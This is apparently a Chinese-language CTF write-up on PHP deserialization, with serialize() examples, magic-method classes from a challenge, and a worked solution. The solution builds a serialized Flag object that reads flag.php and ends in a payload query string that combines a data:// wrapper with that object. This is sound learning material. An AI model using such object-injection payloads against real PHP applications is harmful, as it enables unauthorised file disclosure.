<?php class test { private $a1="haha"; protected $a2="dada"; public $a3="sasa"; public $b=true; public $c=123; } $d=new test(); echo serialize($d); ?> //输出为: O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}
<?php class test1 { public $a="haha"; public $b=true; public $c=123; } class test2 { public $h="hhh"; public $d; } $m=new test1(); $n=new test2(); $n->d=$m; echo serialize($n); ?> 输出: O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}
<?php class test{ public $variable = 'M0urn'; public $variable2 = 'OTHER'; public function printvariable(){ echo $this->variable.'<br />'; } public function __construct(){ echo '__construct'.'<br />'; } public function __destruct(){ echo '__destruct'.'<br />'; } public function __wakeup(){ echo '__wakeup'.'<br />'; } public function __sleep(){ echo '__sleep'.'<br />'; return array('variable','variable2'); } }
class Name{ private $username = 'nonono'; private $password = 'yesyes';
public function __construct($username,$password){ $this->username = $username; $this->password = $password; }
function __wakeup(){ $this->username = 'guest'; }
function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die();
} } } ?>
发现了好几个魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public function __construct($username,$password){ $this->username = $username; $this->password = $password; }
function __wakeup(){ $this->username = 'guest'; }
function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); }
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
这里需要我们构造php序列化绕过,只需要让file=flag.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php
class Flag{ public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>
得到序列化后的结果:
1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
此时,我们构造最后一个payload:
1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}